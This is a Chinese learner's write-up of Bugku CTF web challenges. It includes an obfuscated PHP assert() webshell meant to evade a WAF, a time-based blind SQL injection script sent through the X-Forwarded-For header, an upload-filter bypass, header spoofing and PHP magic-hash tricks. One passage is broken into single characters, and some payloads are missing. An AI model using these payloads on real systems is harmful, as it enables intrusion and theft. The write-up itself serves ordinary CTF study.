welcom to bugku
题目好像不能访问了,看看其他博主的博客吧
https://www.cnblogs.com/Pinging/p/8278168.html
过狗一句话
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
?>
explode() 函数把字符串打散为数组。
害,题目被删了,是我来晚了
附上一篇博客
https://www.cnblogs.com/0yst3r-2046/p/10781215.html
PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
本题要点:php scandir()函数、assert代码执行漏洞
php中读取目录下文件的方法:scandir() 函数返回指定目录中的文件和目录的数组。
也可以使用print_r(glob("."))
glob() 函数返回一个包含匹配指定模式的文件名或目录的数组。
字符正则
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
highlight_file() 函数对文件进行语法高亮显示。
preg_match 函数用于执行一个正则表达式匹配。
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
如果被省略,则移除以下所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
关键在于正则表达式的理解
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
. 匹配除 “\n” 之外的任何单个字符
-
匹配它前面的表达式0次或多次,等价于{0,}
{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符
/ 匹配 / ,这里的 \ 是为了转义
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
/i 表示不分大小写
通过 id 传参,并且要符合上面的正则表达式,key就会显示,构造payload:
http://123.206.87.240:8002/web10/?id=keykeyabcdkey:/a/keya,
前女友(SKCTF)
无法连接到服务器
login1(SKCTF)
无法连接到服务器,打击我做题的兴致
你从哪里来
终于没崩了
你来自谷歌吗,这里想到了修改http请求头
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般
会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTPReferer中统计出每天有多少用户点击我主页上的链接访问他的网站。Referer的正确英语拼法是referrer。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。
md5_collision(NUPT_CTF)
请输入一个a
之前没有了解过md5碰撞
参考博客https://blog.csdn.net/qq_41533331/article/details/90905984
什么是md5碰撞?
根据密码学的定义,如果内容不同的明文,通过散列算法得出的结果(密码学称为信息摘要)相同,就称为发生了“碰撞”。
散列算法的用途不是对明文加密,让别人看不懂,而是通过对信息摘要的比对,判断原文是否被篡改。所以说对摘要算法来说,它只要能找到碰撞就足以让它失效,并不需要找到原文。
举一个例子,
Linux的用户安全机制,只要得到用户密码文件(其中记录了密码的MD5),然后随便生成一个碰撞的原文(不一定要跟原密码相同),就可以用这个密码登录了。
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的md5值
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s1885207154a
0e509367213418206700842008763514
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
考虑到与md5进行碰撞,可以参考下面这篇文章,记录了关于0e开头的md5值总结:
https://blog.csdn.net/dyw_666666/article/details/82348564
程序员本地网站
用X-Forwarded-For: 127.0.0.1伪造本地地址
各种绕过
又到了看代码的时候了
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);//urlencode()编码:对字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)。urldecode()解码:还原 URL 编码字符串。
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))//sha1() 函数计算字符串的 SHA-1 散列。
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
uname不能和passwd相等,但是sha1之后要相等,sha1只对字符型进行处理,是数组的话返回false
构造payload:
web8
<?php
extract($_GET);//extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
方法一:
根据提示访问flag.txt
a
c
是
指
f
l
a
g
.
t
x
t
中
的
内
容
f
l
a
g
s
,
ac是指flag.txt中的内容flags,
ac是指flag.txt中的内容flags,fn指的是flag.txt这个文件
构造payload:
http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt
方法二:
想得到flag,要达到下面三个条件:
1、 就要让ac的值不为空
2、 f的值从文件fn中获取
3、 ac的值要恒等于f的值
细心
害是我不配做的题
求getsgell
随便传一张图片
应该存在文件上传漏洞,日常抓包看看
这道题是后缀名黑名单检测和类型检测
1. 把请求头里面的Content-Type字母改成大写进行绕过 2. .jpg后面加上.php5其他的都被过滤了好像
如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为php2,
php3, php4, php5, phps, pht, phtm,
phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag
如果只修改content-type的大小写,发现jpg格式的文件上传了
insert into注入
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
每次sql注入的题目好像一上手就感觉挺难的,还是没学到家
参考大佬写的python脚本
#-*- encoding: utf-8 -*-
#字符长度直接手工测的
import requests
url="http://120.24.86.145:8002/web15/"
flag=""
#data = 11' and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) #
#爆表名 长度为14
#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#client_ip,flag
#data = 11' and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) #
#爆字段 长度为4
#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#flag
#data = 11' and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
#爆内容 长度为32
#data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
for i in range(1,33):
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
# print data
headers = {"x-forwarded-for":data}
try:
result = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:
flag += str1
print flag
break
print 'flag:' + flag
值得注意的是,这里要用case when exp1 then sleep(4) else1 end代替if(exp1,exp2,exp3)来绕过",“的限制,用substr (str) from 1 for 来代替substr()函数来绕过”,"的限制
这是一个神奇的登录框
确实很神奇,又崩了
多次
要绝望了,bugku说:“我是个弃儿”
PHP_encrypt_1(ISCCCTF)
是一道代码审计题
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
解题思路:
提交的flag作为一个字符串,赋值给$data传入这个脚本之后,得到了上面给出的字符串:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
我们要做的就是逆向找出这个flag
密码学还没学、、md5的加密和解密还不会
参考大佬写的代码
<?php
function decrypt($str) {
$mkey = "729623334f0aa2784a1599fd374c120d";
$klen = strlen($mkey);
$tmp = $str;
$tmp = base64_decode($tmp); // 对 base64 后的字符串 decode
$md_len = strlen($tmp); //获取字符串长度
for ($i=0; $i < $md_len; $i++) { // 取二次加密用 key;
if ($x == $klen) // 数据长度是否超过 key 长度检测
$x = 0;
$char .= $mkey[$x]; // 从 key 中取二次加密用 key
$x+=1;
}
$md_data = array();
for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
array_push($md_data, ord($tmp[$i]));
}
$md_data_source = array();
$data1 = "";
$data2 = "";
foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
$i = $key;
if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
$dd = $value;
$od = ord($mkey[$i]);
array_push($md_data_source,$dd);
$data1 .= chr(($dd+128)-$od); // 第一种可能, 余数+128-key 为回归数
$data2 .= chr($dd-$od); // 第二种可能, 余数直接-key 为回归数
}
print "data1 => ".$data1."<br>\n";
print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>
后面的题目都涉及到代码能力,可见,学好php和python是多么重要